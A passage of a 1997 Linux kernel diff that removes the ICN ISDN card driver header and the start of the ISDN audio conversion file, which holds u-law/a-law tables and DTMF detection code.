* This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. - * - * $Log: icn.h,v $ - * Revision 1.26 1997/02/14 12:23:16 fritz - * Added support for new insmod parameter handling. - * - * Revision 1.25 1997/02/10 10:10:31 fritz - * Changes for Kernel 2.1.X compatibility. - * Enhanced initialization, can recover from - * misconfiguration by other autoprobing drivers. - * - * Revision 1.24 1997/01/29 22:34:46 fritz - * Cleanup, Corrected D64S setup of 2nd channel. - * - * Revision 1.23 1996/12/17 18:47:55 tsbogend - * changed timeouts from absolute numbers to HZ based values - * - * Revision 1.22 1996/11/13 02:37:33 fritz - * Added delay include. - * - * Revision 1.21 1996/08/29 20:35:57 fritz - * Speed up B-Channel polling interval. - * - * Revision 1.20 1996/06/24 17:20:37 fritz - * Bugfixes in pollbchan_send(): - * - Using lock field of skbuff breaks networking. - * - Added channel locking - * - changed dequeuing scheme. - * Eliminated misc. compiler warnings. - * - * Revision 1.19 1996/06/06 13:58:35 fritz - * Changed code to be architecture independent - * - * Revision 1.18 1996/06/03 19:59:30 fritz - * Removed include of config.h - * - * Revision 1.17 1996/05/18 00:47:04 fritz - * Removed callback debug code. - * - * Revision 1.16 1996/05/17 15:46:43 fritz - * Removed own queue management. - * Changed queue management to use sk_buffs. - * - * Revision 1.15 1996/05/02 04:01:57 fritz - * Removed ICN_MAXCARDS - * - * Revision 1.14 1996/05/02 00:40:29 fritz - * Major rewrite to support more than one card - * with a single module. - * Support for new firmware. - * - * Revision 1.13 1996/04/20 16:51:41 fritz - * Increased status buffer. - * Misc. typos - * - * Revision 1.12 1996/01/22 05:01:22 fritz - * Revert to GPL. - * - * Revision 1.11 1995/12/18 18:25:00 fritz - * Support for ICN-2B Cards. - * Change for supporting user-settable service-octet. - * - * Revision 1.10 1995/10/29 21:43:10 fritz - * Added support for leased lines. - * - * Revision 1.9 1995/04/23 13:42:10 fritz - * Added some constants for distinguishing 1TR6 and DSS1 - * - * Revision 1.8 1995/03/25 23:18:55 fritz - * Changed ICN_PORTLEN to reflect correct number of ports. - * - * Revision 1.7 1995/03/15 12:52:06 fritz - * Some cleanup - * - * Revision 1.6 1995/02/20 03:49:22 fritz - * Fixed ICN_MAX_SQUEUE to correctly reflect outstanding bytes, not number - * of buffers. - * - * Revision 1.5 1995/01/29 23:36:50 fritz - * Minor cleanup. - * - * Revision 1.4 1995/01/09 07:41:20 fritz - * Added GPL-Notice - * - * Revision 1.3 1995/01/04 05:14:20 fritz - * removed include of linux/asm/string.h for compiling with Linux 1.1.76 - * - * Revision 1.2 1995/01/02 02:15:57 fritz - * Misc. Bugfixes - * - * Revision 1.1 1994/12/14 18:02:38 fritz - * Initial revision - * - */ - -#ifndef icn_h -#define icn_h - -#define ICN_IOCTL_SETMMIO 0 -#define ICN_IOCTL_GETMMIO 1 -#define ICN_IOCTL_SETPORT 2 -#define ICN_IOCTL_GETPORT 3 -#define ICN_IOCTL_LOADBOOT 4 -#define ICN_IOCTL_LOADPROTO 5 -#define ICN_IOCTL_LEASEDCFG 6 -#define ICN_IOCTL_GETDOUBLE 7 -#define ICN_IOCTL_DEBUGVAR 8 -#define ICN_IOCTL_ADDCARD 9 - -/* Struct for adding new cards */ -typedef struct icn_cdef { - int port; - char id1[10]; - char id2[10]; -} icn_cdef; - -#if defined(__KERNEL__) || defined(__DEBUGVAR__) - -#ifdef __KERNEL__ -/* Kernel includes */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#endif /* __KERNEL__ */ - -/* some useful macros for debugging */ -#ifdef ICN_DEBUG_PORT -#define OUTB_P(v,p) {printk(KERN_DEBUG "icn: outb_p(0x%02x,0x%03x)\n",v,p); outb_p(v,p);} -#else -#define OUTB_P outb -#endif - -/* Defaults for Port-Address and shared-memory */ -#define ICN_BASEADDR 0x320 -#define ICN_PORTLEN (0x04) -#define ICN_MEMADDR 0x0d0000 - -#define ICN_FLAGS_B1ACTIVE 1 /* B-Channel-1 is open */ -#define ICN_FLAGS_B2ACTIVE 2 /* B-Channel-2 is open */ -#define ICN_FLAGS_RUNNING 4 /* Cards driver activated */ -#define ICN_FLAGS_RBTIMER 8 /* cyclic scheduling of B-Channel-poll */ - -#define ICN_BOOT_TIMEOUT1 (HZ) /* Delay for Boot-download (jiffies) */ -#define ICN_CHANLOCK_DELAY (HZ/10) /* Delay for Channel-mapping (jiffies) */ - -#define ICN_TIMER_BCREAD (HZ/100) /* B-Channel poll-cycle */ -#define ICN_TIMER_DCREAD (HZ/2) /* D-Channel poll-cycle */ - -#define ICN_CODE_STAGE1 4096 /* Size of bootcode */ -#define ICN_CODE_STAGE2 65536 /* Size of protocol-code */ - -#define ICN_MAX_SQUEUE 8000 /* Max. outstanding send-data (2* hw-buf.) */ -#define ICN_FRAGSIZE (250) /* Max. size of send-fragments */ -#define ICN_BCH 2 /* Number of supported channels per card */ - -/* type-definitions for accessing the mmap-io-areas */ - -#define SHM_DCTL_OFFSET (0) /* Offset to data-controlstructures in shm */ -#define SHM_CCTL_OFFSET (0x1d2) /* Offset to comm-controlstructures in shm */ -#define SHM_CBUF_OFFSET (0x200) /* Offset to comm-buffers in shm */ -#define SHM_DBUF_OFFSET (0x2000) /* Offset to data-buffers in shm */ - -/* - * Layout of card's data buffers - */ -typedef struct { - unsigned char length; /* Bytecount of fragment (max 250) */ - unsigned char endflag; /* 0=last frag., 0xff=frag. continued */ - unsigned char data[ICN_FRAGSIZE]; /* The data */ - /* Fill to 256 bytes */ - char unused[0x100 - ICN_FRAGSIZE - 2]; -} frag_buf; - -/* - * Layout of card's shared memory - */ -typedef union { - struct { - unsigned char scns; /* Index to free SendFrag. */ - unsigned char scnr; /* Index to active SendFrag READONLY */ - unsigned char ecns; /* Index to free RcvFrag. READONLY */ - unsigned char ecnr; /* Index to valid RcvFrag */ - char unused[6]; - unsigned short fuell1; /* Internal Buf Bytecount */ - } data_control; - struct { - char unused[SHM_CCTL_OFFSET]; - unsigned char iopc_i; /* Read-Ptr Status-Queue READONLY */ - unsigned char iopc_o; /* Write-Ptr Status-Queue */ - unsigned char pcio_i; /* Write-Ptr Command-Queue */ - unsigned char pcio_o; /* Read-Ptr Command Queue READONLY */ - } comm_control; - struct { - char unused[SHM_CBUF_OFFSET]; - unsigned char pcio_buf[0x100]; /* Ring-Buffer Command-Queue */ - unsigned char iopc_buf[0x100]; /* Ring-Buffer Status-Queue */ - } comm_buffers; - struct { - char unused[SHM_DBUF_OFFSET]; - frag_buf receive_buf[0x10]; - frag_buf send_buf[0x10]; - } data_buffers; -} icn_shmem; - -/* - * Per card driver data - */ -typedef struct icn_card { - struct icn_card *next; /* Pointer to next device struct */ - struct icn_card *other; /* Pointer to other card for ICN4B */ - unsigned short port; /* Base-port-address */ - int myid; /* Driver-Nr. assigned by linklevel */ - int rvalid; /* IO-portregion has been requested */ - int leased; /* Flag: This Adapter is connected */ - /* to a leased line */ - unsigned short flags; /* Statusflags */ - int doubleS0; /* Flag: ICN4B */ - int secondhalf; /* Flag: Second half of a doubleS0 */ - int fw_rev; /* Firmware revision loaded */ - int ptype; /* Protocol type (1TR6 or Euro) */ - struct timer_list st_timer; /* Timer for Status-Polls */ - struct timer_list rb_timer; /* Timer for B-Channel-Polls */ - u_char rcvbuf[ICN_BCH][4096]; /* B-Channel-Receive-Buffers */ - int rcvidx[ICN_BCH]; /* Index for above buffers */ - int l2_proto[ICN_BCH]; /* Current layer-2-protocol */ - isdn_if interface; /* Interface to upper layer */ - int iptr; /* Index to imsg-buffer */ - char imsg[60]; /* Internal buf for status-parsing */ - char msg_buf[2048]; /* Buffer for status-messages */ - char *msg_buf_write; /* Writepointer for statusbuffer */ - char *msg_buf_read; /* Readpointer for statusbuffer */ - char *msg_buf_end; /* Pointer to end of statusbuffer */ - int sndcount[ICN_BCH]; /* Byte-counters for B-Ch.-send */ - struct sk_buff_head - spqueue[ICN_BCH]; /* Sendqueue */ - char regname[35]; /* Name used for request_region */ - u_char xmit_lock[ICN_BCH]; /* Semaphore for pollbchan_send() */ -} icn_card; - -/* - * Main driver data - */ -typedef struct icn_dev { - icn_shmem *shmem; /* Pointer to memory-mapped-buffers */ - int mvalid; /* IO-shmem has been requested */ - int channel; /* Currently mapped channel */ - struct icn_card *mcard; /* Currently mapped card */ - int chanlock; /* Semaphore for channel-mapping */ - int firstload; /* Flag: firmware never loaded */ -} icn_dev; - -typedef icn_dev *icn_devptr; - -#ifdef __KERNEL__ - -static icn_card *cards = (icn_card *) 0; -static u_char chan2bank[] = -{0, 4, 8, 12}; /* for icn_map_channel() */ - -static icn_dev dev; - -/* With modutils >= 1.1.67 Integers can be changed while loading a - * module. For this reason define the Port-Base an Shmem-Base as - * integers. - */ -static int portbase = ICN_BASEADDR; -static int membase = ICN_MEMADDR; -static char *icn_id = "\0"; -static char *icn_id2 = "\0"; - -#ifdef MODULE -#if (LINUX_VERSION_CODE > 0x020111) -MODULE_AUTHOR("Fritz Elfert"); -MODULE_PARM(portbase, "i"); -MODULE_PARM_DESC(portbase, "Port adress of first card"); -MODULE_PARM(membase, "i"); -MODULE_PARM_DESC(membase, "Shared memory adress of all cards"); -MODULE_PARM(icn_id, "s"); -MODULE_PARM_DESC(icn_id, "ID-String of first card"); -MODULE_PARM(icn_id2, "s"); -MODULE_PARM_DESC(icn_id2, "ID-String of first card, second S0 (4B only)"); -#endif -#endif - -#endif /* __KERNEL__ */ - -/* Utility-Macros */ - -/* Macros for accessing ports */ -#define ICN_CFG (card->port) -#define ICN_MAPRAM (card->port+1) -#define ICN_RUN (card->port+2) -#define ICN_BANK (card->port+3) - -/* Return true, if there is a free transmit-buffer */ -#define sbfree (((readb(&dev.shmem->data_control.scns)+1) & 0xf) != \ - readb(&dev.shmem->data_control.scnr)) - -/* Switch to next transmit-buffer */ -#define sbnext (writeb((readb(&dev.shmem->data_control.scns)+1) & 0xf, \ - &dev.shmem->data_control.scns)) - -/* Shortcuts for transmit-buffer-access */ -#define sbuf_n dev.shmem->data_control.scns -#define sbuf_d dev.shmem->data_buffers.send_buf[readb(&sbuf_n)].data -#define sbuf_l dev.shmem->data_buffers.send_buf[readb(&sbuf_n)].length -#define sbuf_f dev.shmem->data_buffers.send_buf[readb(&sbuf_n)].endflag - -/* Return true, if there is receive-data is available */ -#define rbavl (readb(&dev.shmem->data_control.ecnr) != \ - readb(&dev.shmem->data_control.ecns)) - -/* Switch to next receive-buffer */ -#define rbnext (writeb((readb(&dev.shmem->data_control.ecnr)+1) & 0xf, \ - &dev.shmem->data_control.ecnr)) - -/* Shortcuts for receive-buffer-access */ -#define rbuf_n dev.shmem->data_control.ecnr -#define rbuf_d dev.shmem->data_buffers.receive_buf[readb(&rbuf_n)].data -#define rbuf_l dev.shmem->data_buffers.receive_buf[readb(&rbuf_n)].length -#define rbuf_f dev.shmem->data_buffers.receive_buf[readb(&rbuf_n)].endflag - -/* Shortcuts for command-buffer-access */ -#define cmd_o (dev.shmem->comm_control.pcio_o) -#define cmd_i (dev.shmem->comm_control.pcio_i) - -/* Return free space in command-buffer */ -#define cmd_free ((readb(&cmd_i)>=readb(&cmd_o))? \ - 0x100-readb(&cmd_i)+readb(&cmd_o): \ - readb(&cmd_o)-readb(&cmd_i)) - -/* Shortcuts for message-buffer-access */ -#define msg_o (dev.shmem->comm_control.iopc_o) -#define msg_i (dev.shmem->comm_control.iopc_i) - -/* Return length of Message, if avail. */ -#define msg_avail ((readb(&msg_o)>readb(&msg_i))? \ - 0x100-readb(&msg_o)+readb(&msg_i): \ - readb(&msg_i)-readb(&msg_o)) - -#define CID (card->interface.id) - -#define MIN(a,b) ((ab)?a:b) - -/* Hopefully, a separate resource-registration-scheme for shared-memory - * will be introduced into the kernel. Until then, we use the normal - * routines, designed for port-registration. - */ -#define check_shmem check_region -#define release_shmem release_region -#define request_shmem request_region - -#endif /* defined(__KERNEL__) || defined(__DEBUGVAR__) */ -#endif /* icn_h */ diff -u --recursive --new-file linux-2.1.29/drivers/isdn/isdn_audio.c linux/drivers/isdn/isdn_audio.c --- linux-2.1.29/drivers/isdn/isdn_audio.c Sat May 10 18:17:36 1997 +++ linux/drivers/isdn/isdn_audio.c Wed Dec 31 19:00:00 1969 @@ -1,651 +0,0 @@ -/* $Id: isdn_audio.c,v 1.7 1997/02/03 22:44:11 fritz Exp $ - - * Linux ISDN subsystem, audio conversion and compression (linklevel). - * - * Copyright 1994,95,96 by Fritz Elfert (fritz@wuemaus.franken.de) - * DTMF code (c) 1996 by Christian Mock (cm@kukuruz.ping.at) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2, or (at your option) - * any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. - * - * $Log: isdn_audio.c,v $ - * Revision 1.7 1997/02/03 22:44:11 fritz - * Reformatted according CodingStyle - * - * Revision 1.6 1996/06/06 14:43:31 fritz - * Changed to support DTMF decoding on audio playback also. - * - * Revision 1.5 1996/06/05 02:24:08 fritz - * Added DTMF decoder for audio mode. - * - * Revision 1.4 1996/05/17 03:48:01 fritz - * Removed some test statements. - * Added revision string. - * - * Revision 1.3 1996/05/10 08:48:11 fritz - * Corrected adpcm bugs. - * - * Revision 1.2 1996/04/30 09:31:17 fritz - * General rewrite. - * - * Revision 1.1.1.1 1996/04/28 12:25:40 fritz - * Taken under CVS control - * - */ - -#define __NO_VERSION__ -#include -#include -#include "isdn_audio.h" -#include "isdn_common.h" - -char *isdn_audio_revision = "$Revision: 1.7 $"; - -/* - * Misc. lookup-tables. - */ - -/* ulaw -> signed 16-bit */ -static short isdn_audio_ulaw_to_s16[] = -{ - 0x8284, 0x8684, 0x8a84, 0x8e84, 0x9284, 0x9684, 0x9a84, 0x9e84, - 0xa284, 0xa684, 0xaa84, 0xae84, 0xb284, 0xb684, 0xba84, 0xbe84, - 0xc184, 0xc384, 0xc584, 0xc784, 0xc984, 0xcb84, 0xcd84, 0xcf84, - 0xd184, 0xd384, 0xd584, 0xd784, 0xd984, 0xdb84, 0xdd84, 0xdf84, - 0xe104, 0xe204, 0xe304, 0xe404, 0xe504, 0xe604, 0xe704, 0xe804, - 0xe904, 0xea04, 0xeb04, 0xec04, 0xed04, 0xee04, 0xef04, 0xf004, - 0xf0c4, 0xf144, 0xf1c4, 0xf244, 0xf2c4, 0xf344, 0xf3c4, 0xf444, - 0xf4c4, 0xf544, 0xf5c4, 0xf644, 0xf6c4, 0xf744, 0xf7c4, 0xf844, - 0xf8a4, 0xf8e4, 0xf924, 0xf964, 0xf9a4, 0xf9e4, 0xfa24, 0xfa64, - 0xfaa4, 0xfae4, 0xfb24, 0xfb64, 0xfba4, 0xfbe4, 0xfc24, 0xfc64, - 0xfc94, 0xfcb4, 0xfcd4, 0xfcf4, 0xfd14, 0xfd34, 0xfd54, 0xfd74, - 0xfd94, 0xfdb4, 0xfdd4, 0xfdf4, 0xfe14, 0xfe34, 0xfe54, 0xfe74, - 0xfe8c, 0xfe9c, 0xfeac, 0xfebc, 0xfecc, 0xfedc, 0xfeec, 0xfefc, - 0xff0c, 0xff1c, 0xff2c, 0xff3c, 0xff4c, 0xff5c, 0xff6c, 0xff7c, - 0xff88, 0xff90, 0xff98, 0xffa0, 0xffa8, 0xffb0, 0xffb8, 0xffc0, - 0xffc8, 0xffd0, 0xffd8, 0xffe0, 0xffe8, 0xfff0, 0xfff8, 0x0000, - 0x7d7c, 0x797c, 0x757c, 0x717c, 0x6d7c, 0x697c, 0x657c, 0x617c, - 0x5d7c, 0x597c, 0x557c, 0x517c, 0x4d7c, 0x497c, 0x457c, 0x417c, - 0x3e7c, 0x3c7c, 0x3a7c, 0x387c, 0x367c, 0x347c, 0x327c, 0x307c, - 0x2e7c, 0x2c7c, 0x2a7c, 0x287c, 0x267c, 0x247c, 0x227c, 0x207c, - 0x1efc, 0x1dfc, 0x1cfc, 0x1bfc, 0x1afc, 0x19fc, 0x18fc, 0x17fc, - 0x16fc, 0x15fc, 0x14fc, 0x13fc, 0x12fc, 0x11fc, 0x10fc, 0x0ffc, - 0x0f3c, 0x0ebc, 0x0e3c, 0x0dbc, 0x0d3c, 0x0cbc, 0x0c3c, 0x0bbc, - 0x0b3c, 0x0abc, 0x0a3c, 0x09bc, 0x093c, 0x08bc, 0x083c, 0x07bc, - 0x075c, 0x071c, 0x06dc, 0x069c, 0x065c, 0x061c, 0x05dc, 0x059c, - 0x055c, 0x051c, 0x04dc, 0x049c, 0x045c, 0x041c, 0x03dc, 0x039c, - 0x036c, 0x034c, 0x032c, 0x030c, 0x02ec, 0x02cc, 0x02ac, 0x028c, - 0x026c, 0x024c, 0x022c, 0x020c, 0x01ec, 0x01cc, 0x01ac, 0x018c, - 0x0174, 0x0164, 0x0154, 0x0144, 0x0134, 0x0124, 0x0114, 0x0104, - 0x00f4, 0x00e4, 0x00d4, 0x00c4, 0x00b4, 0x00a4, 0x0094, 0x0084, - 0x0078, 0x0070, 0x0068, 0x0060, 0x0058, 0x0050, 0x0048, 0x0040, - 0x0038, 0x0030, 0x0028, 0x0020, 0x0018, 0x0010, 0x0008, 0x0000 -}; - -/* alaw -> signed 16-bit */ -static short isdn_audio_alaw_to_s16[] = -{ - 0x13fc, 0xec04, 0x0144, 0xfebc, 0x517c, 0xae84, 0x051c, 0xfae4, - 0x0a3c, 0xf5c4, 0x0048, 0xffb8, 0x287c, 0xd784, 0x028c, 0xfd74, - 0x1bfc, 0xe404, 0x01cc, 0xfe34, 0x717c, 0x8e84, 0x071c, 0xf8e4, - 0x0e3c, 0xf1c4, 0x00c4, 0xff3c, 0x387c, 0xc784, 0x039c, 0xfc64, - 0x0ffc, 0xf004, 0x0104, 0xfefc, 0x417c, 0xbe84, 0x041c, 0xfbe4, - 0x083c, 0xf7c4, 0x0008, 0xfff8, 0x207c, 0xdf84, 0x020c, 0xfdf4, - 0x17fc, 0xe804, 0x018c, 0xfe74, 0x617c, 0x9e84, 0x061c, 0xf9e4, - 0x0c3c, 0xf3c4, 0x0084, 0xff7c, 0x307c, 0xcf84, 0x030c, 0xfcf4, - 0x15fc, 0xea04, 0x0164, 0xfe9c, 0x597c, 0xa684, 0x059c, 0xfa64, - 0x0b3c, 0xf4c4, 0x0068, 0xff98, 0x2c7c, 0xd384, 0x02cc, 0xfd34, - 0x1dfc, 0xe204, 0x01ec, 0xfe14, 0x797c, 0x8684, 0x07bc, 0xf844, - 0x0f3c, 0xf0c4, 0x00e4, 0xff1c, 0x3c7c, 0xc384, 0x03dc, 0xfc24, - 0x11fc, 0xee04, 0x0124, 0xfedc, 0x497c, 0xb684, 0x049c, 0xfb64, - 0x093c, 0xf6c4, 0x0028, 0xffd8, 0x247c, 0xdb84, 0x024c, 0xfdb4, - 0x19fc, 0xe604, 0x01ac, 0xfe54, 0x697c, 0x9684, 0x069c, 0xf964, - 0x0d3c, 0xf2c4, 0x00a4, 0xff5c, 0x347c, 0xcb84, 0x034c, 0xfcb4, - 0x12fc, 0xed04, 0x0134, 0xfecc, 0x4d7c, 0xb284, 0x04dc, 0xfb24, - 0x09bc, 0xf644, 0x0038, 0xffc8, 0x267c, 0xd984, 0x026c, 0xfd94, - 0x1afc, 0xe504, 0x01ac, 0xfe54, 0x6d7c, 0x9284, 0x06dc, 0xf924, - 0x0dbc, 0xf244, 0x00b4, 0xff4c, 0x367c, 0xc984, 0x036c, 0xfc94, - 0x0f3c, 0xf0c4, 0x00f4, 0xff0c, 0x3e7c, 0xc184, 0x03dc, 0xfc24, - 0x07bc, 0xf844, 0x0008, 0xfff8, 0x1efc, 0xe104, 0x01ec, 0xfe14, - 0x16fc, 0xe904, 0x0174, 0xfe8c, 0x5d7c, 0xa284, 0x05dc, 0xfa24, - 0x0bbc, 0xf444, 0x0078, 0xff88, 0x2e7c, 0xd184, 0x02ec, 0xfd14, - 0x14fc, 0xeb04, 0x0154, 0xfeac, 0x557c, 0xaa84, 0x055c, 0xfaa4, - 0x0abc, 0xf544, 0x0058, 0xffa8, 0x2a7c, 0xd584, 0x02ac, 0xfd54, - 0x1cfc, 0xe304, 0x01cc, 0xfe34, 0x757c, 0x8a84, 0x075c, 0xf8a4, - 0x0ebc, 0xf144, 0x00d4, 0xff2c, 0x3a7c, 0xc584, 0x039c, 0xfc64, - 0x10fc, 0xef04, 0x0114, 0xfeec, 0x457c, 0xba84, 0x045c, 0xfba4, - 0x08bc, 0xf744, 0x0018, 0xffe8, 0x227c, 0xdd84, 0x022c, 0xfdd4, - 0x18fc, 0xe704, 0x018c, 0xfe74, 0x657c, 0x9a84, 0x065c, 0xf9a4, - 0x0cbc, 0xf344, 0x0094, 0xff6c, 0x327c, 0xcd84, 0x032c, 0xfcd4 -}; - -/* alaw -> ulaw */ -static char isdn_audio_alaw_to_ulaw[] = -{ - 0xab, 0x2b, 0xe3, 0x63, 0x8b, 0x0b, 0xc9, 0x49, - 0xba, 0x3a, 0xf6, 0x76, 0x9b, 0x1b, 0xd7, 0x57, - 0xa3, 0x23, 0xdd, 0x5d, 0x83, 0x03, 0xc1, 0x41, - 0xb2, 0x32, 0xeb, 0x6b, 0x93, 0x13, 0xcf, 0x4f, - 0xaf, 0x2f, 0xe7, 0x67, 0x8f, 0x0f, 0xcd, 0x4d, - 0xbe, 0x3e, 0xfe, 0x7e, 0x9f, 0x1f, 0xdb, 0x5b, - 0xa7, 0x27, 0xdf, 0x5f, 0x87, 0x07, 0xc5, 0x45, - 0xb6, 0x36, 0xef, 0x6f, 0x97, 0x17, 0xd3, 0x53, - 0xa9, 0x29, 0xe1, 0x61, 0x89, 0x09, 0xc7, 0x47, - 0xb8, 0x38, 0xf2, 0x72, 0x99, 0x19, 0xd5, 0x55, - 0xa1, 0x21, 0xdc, 0x5c, 0x81, 0x01, 0xbf, 0x3f, - 0xb0, 0x30, 0xe9, 0x69, 0x91, 0x11, 0xce, 0x4e, - 0xad, 0x2d, 0xe5, 0x65, 0x8d, 0x0d, 0xcb, 0x4b, - 0xbc, 0x3c, 0xfa, 0x7a, 0x9d, 0x1d, 0xd9, 0x59, - 0xa5, 0x25, 0xde, 0x5e, 0x85, 0x05, 0xc3, 0x43, - 0xb4, 0x34, 0xed, 0x6d, 0x95, 0x15, 0xd1, 0x51, - 0xac, 0x2c, 0xe4, 0x64, 0x8c, 0x0c, 0xca, 0x4a, - 0xbb, 0x3b, 0xf8, 0x78, 0x9c, 0x1c, 0xd8, 0x58, - 0xa4, 0x24, 0xde, 0x5e, 0x84, 0x04, 0xc2, 0x42, - 0xb3, 0x33, 0xec, 0x6c, 0x94, 0x14, 0xd0, 0x50, - 0xb0, 0x30, 0xe8, 0x68, 0x90, 0x10, 0xce, 0x4e, - 0xbf, 0x3f, 0xfe, 0x7e, 0xa0, 0x20, 0xdc, 0x5c, - 0xa8, 0x28, 0xe0, 0x60, 0x88, 0x08, 0xc6, 0x46, - 0xb7, 0x37, 0xf0, 0x70, 0x98, 0x18, 0xd4, 0x54, - 0xaa, 0x2a, 0xe2, 0x62, 0x8a, 0x0a, 0xc8, 0x48, - 0xb9, 0x39, 0xf4, 0x74, 0x9a, 0x1a, 0xd6, 0x56, - 0xa2, 0x22, 0xdd, 0x5d, 0x82, 0x02, 0xc0, 0x40, - 0xb1, 0x31, 0xea, 0x6a, 0x92, 0x12, 0xcf, 0x4f, - 0xae, 0x2e, 0xe6, 0x66, 0x8e, 0x0e, 0xcc, 0x4c, - 0xbd, 0x3d, 0xfc, 0x7c, 0x9e, 0x1e, 0xda, 0x5a, - 0xa6, 0x26, 0xdf, 0x5f, 0x86, 0x06, 0xc4, 0x44, - 0xb5, 0x35, 0xee, 0x6e, 0x96, 0x16, 0xd2, 0x52 -}; - -/* ulaw -> alaw */ -static char isdn_audio_ulaw_to_alaw[] = -{ - 0xab, 0x55, 0xd5, 0x15, 0x95, 0x75, 0xf5, 0x35, - 0xb5, 0x45, 0xc5, 0x05, 0x85, 0x65, 0xe5, 0x25, - 0xa5, 0x5d, 0xdd, 0x1d, 0x9d, 0x7d, 0xfd, 0x3d, - 0xbd, 0x4d, 0xcd, 0x0d, 0x8d, 0x6d, 0xed, 0x2d, - 0xad, 0x51, 0xd1, 0x11, 0x91, 0x71, 0xf1, 0x31, - 0xb1, 0x41, 0xc1, 0x01, 0x81, 0x61, 0xe1, 0x21, - 0x59, 0xd9, 0x19, 0x99, 0x79, 0xf9, 0x39, 0xb9, - 0x49, 0xc9, 0x09, 0x89, 0x69, 0xe9, 0x29, 0xa9, - 0xd7, 0x17, 0x97, 0x77, 0xf7, 0x37, 0xb7, 0x47, - 0xc7, 0x07, 0x87, 0x67, 0xe7, 0x27, 0xa7, 0xdf, - 0x9f, 0x7f, 0xff, 0x3f, 0xbf, 0x4f, 0xcf, 0x0f, - 0x8f, 0x6f, 0xef, 0x2f, 0x53, 0x13, 0x73, 0x33, - 0xb3, 0x43, 0xc3, 0x03, 0x83, 0x63, 0xe3, 0x23, - 0xa3, 0x5b, 0xdb, 0x1b, 0x9b, 0x7b, 0xfb, 0x3b, - 0xbb, 0xbb, 0x4b, 0x4b, 0xcb, 0xcb, 0x0b, 0x0b, - 0x8b, 0x8b, 0x6b, 0x6b, 0xeb, 0xeb, 0x2b, 0x2b, - 0xab, 0x54, 0xd4, 0x14, 0x94, 0x74, 0xf4, 0x34, - 0xb4, 0x44, 0xc4, 0x04, 0x84, 0x64, 0xe4, 0x24, - 0xa4, 0x5c, 0xdc, 0x1c, 0x9c, 0x7c, 0xfc, 0x3c, - 0xbc, 0x4c, 0xcc, 0x0c, 0x8c, 0x6c, 0xec, 0x2c, - 0xac, 0x50, 0xd0, 0x10, 0x90, 0x70, 0xf0, 0x30, - 0xb0, 0x40, 0xc0, 0x00, 0x80, 0x60, 0xe0, 0x20, - 0x58, 0xd8, 0x18, 0x98, 0x78, 0xf8, 0x38, 0xb8, - 0x48, 0xc8, 0x08, 0x88, 0x68, 0xe8, 0x28, 0xa8, - 0xd6, 0x16, 0x96, 0x76, 0xf6, 0x36, 0xb6, 0x46, - 0xc6, 0x06, 0x86, 0x66, 0xe6, 0x26, 0xa6, 0xde, - 0x9e, 0x7e, 0xfe, 0x3e, 0xbe, 0x4e, 0xce, 0x0e, - 0x8e, 0x6e, 0xee, 0x2e, 0x52, 0x12, 0x72, 0x32, - 0xb2, 0x42, 0xc2, 0x02, 0x82, 0x62, 0xe2, 0x22, - 0xa2, 0x5a, 0xda, 0x1a, 0x9a, 0x7a, 0xfa, 0x3a, - 0xba, 0xba, 0x4a, 0x4a, 0xca, 0xca, 0x0a, 0x0a, - 0x8a, 0x8a, 0x6a, 0x6a, 0xea, 0xea, 0x2a, 0x2a -}; - -#define NCOEFF 16 /* number of frequencies to be analyzed */ -#define DTMF_TRESH 50000 /* above this is dtmf */ -#define SILENCE_TRESH 100 /* below this is silence */ -#define H2_TRESH 10000 /* 2nd harmonic */ -#define AMP_BITS 9 /* bits per sample, reduced to avoid overflow */ -#define LOGRP 0 -#define HIGRP 1 - -typedef struct { - int grp; /* low/high group */ - int k; /* k */ - int k2; /* k fuer 2. harmonic */ -} dtmf_t; - -/* For DTMF recognition: - * 2 * cos(2 * PI * k / N) precalculated for all k - */ -static int cos2pik[NCOEFF] = -{ - 55812, 29528, 53603, 24032, 51193, 14443, 48590, 6517, - 38113, -21204, 33057, -32186, 25889, -45081, 18332, -55279 -}; - -static dtmf_t dtmf_tones[8] = -{ - {LOGRP, 0, 1}, /* 697 Hz */ - {LOGRP, 2, 3}, /* 770 Hz */ - {LOGRP, 4, 5}, /* 852 Hz */ - {LOGRP, 6, 7}, /* 941 Hz */ - {HIGRP, 8, 9}, /* 1209 Hz */ - {HIGRP, 10, 11}, /* 1336 Hz */ - {HIGRP, 12, 13}, /* 1477 Hz */ - {HIGRP, 14, 15} /* 1633 Hz */ -}; - -static char dtmf_matrix[4][4] = -{ - {'1', '2', '3', 'A'}, - {'4', '5', '6', 'B'}, - {'7', '8', '9', 'C'}, - {'*', '0', '#', 'D'} -}; - -#if ((CPU == 386) || (CPU == 486) || (CPU == 586)) -static inline void -isdn_audio_tlookup(const void *table, void *buff, unsigned long n) -{ - __asm__("cld\n" - "1:\tlodsb\n\t" - "xlatb\n\t" - "stosb\n\t" - "loop 1b\n\t" - : : "b"((long) table), "c"(n), "D"((long) buff), "S"((long) buff) - : "bx", "cx", "di", "si", "ax"); -} - -#else -static inline void -isdn_audio_tlookup(const char *table, char *buff, unsigned long n) -{ - while (n--) - *buff++ = table[*buff]; -} -#endif - -void -isdn_audio_ulaw2alaw(unsigned char *buff, unsigned long len) -{ - isdn_audio_tlookup(isdn_audio_ulaw_to_alaw, buff, len); -} - -void -isdn_audio_alaw2ulaw(unsigned char *buff, unsigned long len) -{ - isdn_audio_tlookup(isdn_audio_alaw_to_ulaw, buff, len); -} - -/* - * linear <-> adpcm conversion stuff - * Most parts from the mgetty-package. - * (C) by Gert Doering and Klaus Weidner - * Used by permission of Gert Doering - */ - - -#define ZEROTRAP /* turn on the trap as per the MIL-STD */ -#undef ZEROTRAP -#define BIAS 0x84 /* define the add-in bias for 16 bit samples */ -#define CLIP 32635 - -static unsigned char -isdn_audio_linear2ulaw(int sample) -{ - static int 